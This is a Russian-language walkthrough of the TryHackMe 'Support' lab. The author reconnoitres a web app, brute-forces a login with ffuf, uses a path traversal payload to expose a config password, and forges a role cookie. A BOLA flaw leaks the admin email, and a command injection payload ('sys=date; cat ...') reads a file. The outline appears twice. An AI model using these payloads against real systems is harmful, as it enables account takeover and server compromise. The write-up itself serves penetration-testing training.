Автор темы
Ссылка на аккаунт - https://tryhackme.com/p/Nick2.2
Вводные данные:
Что содержит файл /home/ubuntu/user.txt ?
Процесс исследования:
ЭТАП 1. Разведка и составление карты веб-приложения:
1.1. Первичное сканирование портов посредством nmap(быстрый скан всех открытых портов):
1.2. Детальное сканирование обнаруженных открытых портов с определением версий сервисов и служб, использованием дефолтных скриптов:
Необходимо обратить внимание на обнаруженную скриптом потенциальную уязвимость - отсутствие флага httponly у cookie-файлов веб-приложения на порту 80. Потенциальный вектор атаки - манипуляции с cookies.
1.3. Сканирование директорий с использованием gobuster:
ЭТАП 2. Поиск и эксплуатация уязвимостей.
По адресу страницы находится форма аутентификации для сотрудников, в которой осуществляется аутентификация через поля email и password.
В конце страницы ссылка на почтовый адрес поддержки приложения - help@support.thm. Следовательно, данный почтовый адрес считаем валидным username.
Пробуем использовать подбор паролей методом перебора. Для этого воспользуемся утилитой ffuf со стандартным словарем rockyou.txt:
Таким образом, путем подбора паролей методом перебора получаем пароль и аутентифицируемся под учетной записью help@support.thm.
После аутентификации мы попадаем на страницу - http://10.113.133.87/dashboard.php
Вручную посещаем каждую страницу, обнаруженную ранее при переборе директорий. Большинство не представляет интереса, однако по адресам api.php и server-status доступ нам запрещен.
Просматриваем сетевые данные через инструменты разработчика. После аутентификации кроме сессионного cookie PHPSESSID обнаруживаем новый cookie isITUser. С учетом ранее обнаруженного отсутствия httponly, наличие cookie, вероятно указывающего на роль пользователя, является еще одним аргументом попробовать вектор атаки - манипуляции с cookies.
Также при использовании кнопки Select Theme обнаруживаем новый параметр:
http://10.113.133.87/dashboard.php?skin=default
Пробуем параметр на уязвимость Path Traversal. Базовый payload - ../. Опытным путем подбираем рабочий payload - http://10.113.133.87/dashboard.php?skin=../config. Сама страница практически не меняется:
Однако при просмотре исходного кода страницы обнаружен пароль, названный MASTER_PASSWORD - {REDACTED}
В данный момент применить пароль некуда - у нас отсутствует username администратора. Поэтому пробуем следующий вектор - манипуляции с cookies, которые были обнаружены ранее.
Значение cookie isITUSER является хешем MD5. Дешифруем его через hashes.com и получаем значение false.
Меняем значение на true и снова хешируем: b326b5062b2f0e69046810717534cb09
Через расширение Cookie-Editor меняем значение cookie и получаем доступ к IT Admin Panel и Internal API.
Страница Internal API показывает возможность направить запрос для получения своих данных пользователя и показывает индексацию пользователей. Пробуем составить запрос через curl:
Итак, мы реализовали BOLA (Broken Object Level Authorisation) и через Internal API мы обнаружили почту администратора.
Однако, при вводе учетных данных (полученная почта администратора и ранее обнаруженный пароль MASTER_PASSWORD) мы снова обнаруживаем ошибку Invalid Credentials. Предполагаем, что пароль это одна из вариаций полученного значения MASTER_PASSWORD. После множества модификаций полученного пароля опытным путем сработало удаление символа @ из пароля.
После аутентификации получаем первый флаг - THM{REDACTED}
В административной учетной записи появляется функция выбора отражения даты и времени. Смотрим исходный код страницы и обнаруживаем:
Приложение отправляет POST-запрос с параметром sys, который отражает два возможных значения - дату либо дату и время. Можно предполагать, что параметр sys передает данные системной оболочке. Следовательно, предполагаем Command Injection.
Пробуем отправить POST-запрос с системной командой id:
По выводу видим, что команда id была выполнена, следовательно, подтверждена Command Injection. Далее пробуем прочитать заданный файл /home/ubuntu/user.txt:
Таким образом, получен второй флаг.
Итоговое резюме:
Обнаруженные уязвимости:
Использованные инструменты:
Вводные данные:
- Адрес комнаты - https://tryhackme.com/room/support
- Комната привязана к прохождению тематики курса Junior Penetration tester - темы по Session Management, Broken Authentication, File Inclusion, Command Injection, API Pentesting.
- Заявленная сложность - medium.
- Данные флагов скрыты в соответствии с Политикой ресурса TRYHACKME.
- В тексте отчета приведены различные IP-адреса комнаты, что связано с перезапуском лабораторного оборудования.
- Задания - найти 2 флага:
Что содержит файл /home/ubuntu/user.txt ?
Процесс исследования:
ЭТАП 1. Разведка и составление карты веб-приложения:
1.1. Первичное сканирование портов посредством nmap(быстрый скан всех открытых портов):
Код:
┌──(kali㉿kali)-[~]
└─$ nmap -p- --min-rate 5000 --open 10.114.150.3
Starting Nmap 7.98 ( https://nmap.org ) at 2026-11-01 03:49 -0500
Nmap scan report for 10.114.150.3
Host is up (0.12s latency).
Not shown: 53997 filtered tcp ports (no-response), 11536 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 36.38 seconds
Код:
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p22,80 10.114.150.3
Starting Nmap 7.98 ( https://nmap.org ) at 2026-11-01 03:51 -0500
Nmap scan report for 10.114.150.3
Host is up (0.048s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ee:7a:f8:93:7d:f7:64:f3:7f:ad:12:bb:1d:00:d2:20 (ECDSA)
|_ 256 25:c6:13:ce:ee:26:17:ad:b4:72:74:c5:b7:9c:ef:e3 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Support Operations Panel
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.51 seconds
Необходимо обратить внимание на обнаруженную скриптом потенциальную уязвимость - отсутствие флага httponly у cookie-файлов веб-приложения на порту 80. Потенциальный вектор атаки - манипуляции с cookies.
1.3. Сканирование директорий с использованием gobuster:
Код:
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://10.112.178.250/ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-r -x php,html,txt,bak,zip \
-t 40 \
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.112.178.250/
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Extensions: zip,php,html,txt,bak
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
js (Status: 200) [Size: 959]
logout.php (Status: 200) [Size: 2591]
config.php (Status: 200) [Size: 0]
api.php (Status: 200) [Size: 2591]
includes (Status: 200) [Size: 1145]
info.php (Status: 200) [Size: 73324]
skins (Status: 200) [Size: 1535]
index.php (Status: 200) [Size: 2591]
layout (Status: 200) [Size: 955]
footer.php (Status: 200) [Size: 1253]
dashboard.php (Status: 200) [Size: 2591]
server-status (Status: 403) [Size: 279]
Progress: 179994 / 179994 (100.00%)
===============================================================
Finished
===============================================================
ЭТАП 2. Поиск и эксплуатация уязвимостей.
По адресу страницы находится форма аутентификации для сотрудников, в которой осуществляется аутентификация через поля email и password.
В конце страницы ссылка на почтовый адрес поддержки приложения - help@support.thm. Следовательно, данный почтовый адрес считаем валидным username.
Пробуем использовать подбор паролей методом перебора. Для этого воспользуемся утилитой ffuf со стандартным словарем rockyou.txt:
Код:
┌──(kali㉿kali)-[~]
└─$ ffuf -u http://10.113.133.87/ \
-X POST \
-d "email=help%40support.thm&password=FUZZ" \
-H "Content-Type: application/x-www-form-urlencoded" \
-w /usr/share/wordlists/rockyou.txt \
-fr "Invalid credentials" \
-t 200
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://10.113.133.87/
:: Wordlist : FUZZ: /usr/share/wordlists/rockyou.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : email=help%40support.thm&password=FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regexp: Invalid credentials
________________________________________________
{REDACTED} [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 7964ms]
После аутентификации мы попадаем на страницу - http://10.113.133.87/dashboard.php
Вручную посещаем каждую страницу, обнаруженную ранее при переборе директорий. Большинство не представляет интереса, однако по адресам api.php и server-status доступ нам запрещен.
Просматриваем сетевые данные через инструменты разработчика. После аутентификации кроме сессионного cookie PHPSESSID обнаруживаем новый cookie isITUser. С учетом ранее обнаруженного отсутствия httponly, наличие cookie, вероятно указывающего на роль пользователя, является еще одним аргументом попробовать вектор атаки - манипуляции с cookies.
Также при использовании кнопки Select Theme обнаруживаем новый параметр:
http://10.113.133.87/dashboard.php?skin=default
Пробуем параметр на уязвимость Path Traversal. Базовый payload - ../. Опытным путем подбираем рабочий payload - http://10.113.133.87/dashboard.php?skin=../config. Сама страница практически не меняется:
Однако при просмотре исходного кода страницы обнаружен пароль, названный MASTER_PASSWORD - {REDACTED}
В данный момент применить пароль некуда - у нас отсутствует username администратора. Поэтому пробуем следующий вектор - манипуляции с cookies, которые были обнаружены ранее.
Значение cookie isITUSER является хешем MD5. Дешифруем его через hashes.com и получаем значение false.
Меняем значение на true и снова хешируем: b326b5062b2f0e69046810717534cb09
Через расширение Cookie-Editor меняем значение cookie и получаем доступ к IT Admin Panel и Internal API.
Страница Internal API показывает возможность направить запрос для получения своих данных пользователя и показывает индексацию пользователей. Пробуем составить запрос через curl:
Код:
┌──(kali㉿kali)-[~]
└─$ curl -i -sS \
-H 'Cookie: isITUser=b326b5062b2f0e69046810717534cb09; PHPSESSID=nc0adeq7237killpsm8hd27chm' \
http://10.113.133.87/user/1
HTTP/1.1 200 OK
Date: Tue, 10 Nov 2026 16:45:29 GMT
Server: Apache/2.4.58 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 80
Content-Type: application/json
{
"email": "specialadmin@support.thm",
"2FA": false,
"admin": true
}
┌──(kali㉿kali)-[~]
└─$ curl -i -sS \
-H 'Cookie: isITUser=b326b5062b2f0e69046810717534cb09; PHPSESSID=nc0adeq7237killpsm8hd27chm' \
http://10.113.133.87/user/2
HTTP/1.1 200 OK
Date: Tue, 10 Nov 2026 16:45:55 GMT
Server: Apache/2.4.58 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 71
Content-Type: application/json
{
"email": "IT@support.thm",
"2FA": false,
"admin": false
}
Итак, мы реализовали BOLA (Broken Object Level Authorisation) и через Internal API мы обнаружили почту администратора.
Однако, при вводе учетных данных (полученная почта администратора и ранее обнаруженный пароль MASTER_PASSWORD) мы снова обнаруживаем ошибку Invalid Credentials. Предполагаем, что пароль это одна из вариаций полученного значения MASTER_PASSWORD. После множества модификаций полученного пароля опытным путем сработало удаление символа @ из пароля.
После аутентификации получаем первый флаг - THM{REDACTED}
В административной учетной записи появляется функция выбора отражения даты и времени. Смотрим исходный код страницы и обнаруживаем:
Приложение отправляет POST-запрос с параметром sys, который отражает два возможных значения - дату либо дату и время. Можно предполагать, что параметр sys передает данные системной оболочке. Следовательно, предполагаем Command Injection.
Пробуем отправить POST-запрос с системной командой id:
Код:
┌──(kali㉿kali)-[~]
└─$ curl -i -sS -X POST \
'http://10.113.133.87/api.php' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Cookie: isITUser=b326b5062b2f0e69046810717534cb09; PHPSESSID=hqh9hn8gsqgf9mi31kn61n6leo' \
--data-urlencode 'sys=date; id'
Получаем результат (привожу только интересующую часть):
<div class="alert alert-dark">
<pre class="mb-0">Tue Nov 10 19:34:31 UTC 2026
uid=33(www-data) gid=33(www-data) groups=33(www-data)
</pre>
</div>
</div>
По выводу видим, что команда id была выполнена, следовательно, подтверждена Command Injection. Далее пробуем прочитать заданный файл /home/ubuntu/user.txt:
Код:
(kali㉿kali)-[~]
└─$ curl -sS -X POST \
'http://10.113.133.87/api.php' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Cookie: isITUser=b326b5062b2f0e69046810717534cb09; PHPSESSID=hqh9hn8gsqgf9mi31kn61n6leo' \
--data-urlencode 'sys=date; cat /home/ubuntu/user.txt'
<div class="alert alert-dark">
<pre class="mb-0">Tue Nov 10 19:38:20 UTC 2026
THM{REDACTED}</pre>
</div>
</div>
</footer>
Таким образом, получен второй флаг.
Итоговое резюме:
Обнаруженные уязвимости:
- Слабый пароль учетной записи help@support.thm - подбор пароля реализован с помощью веб-фаззера ffuf и стандартного словаря rockyou.txt.
- Уязвимый параметр ?skin=default - позволил реализовать Path Traversal и получить доступ к закрытой директории config.
- Не удаленные разработчиком учетные данные в исходном коде страницы - позволили обнаружить пароль к административной учетной записи.
- Cookie isITUser хеширован, а не подписан криптографически - легко подбирается исходное значение, и открыта возможность к манипуляции значением - реализована замена значения cookie и получен частичный доступ к административной панели.
- BOLA (Broken Object Level Authorisation) - эндпоинт API приложения - api.php не проверяет, имеет ли пользователь право на конкретный запрошенный объект - в результате получена почта учетной записи администратора.
- Command Injection - в административной записи обнаружен параметр sys, отражающий дату и время, который передает данные системной оболочке - уязвимый к внедрению команд - через него реализовано получение данных из файловой системы.
Использованные инструменты:
- nmap и gobuster - активная разведка, составление карты веб-приложения.
- ffuf - подбор пароля.
- curl, расширение Cookie-Editor - запросы к веб-приложению, манипуляции с cookie.
- hashes.com - получение хешированного значения.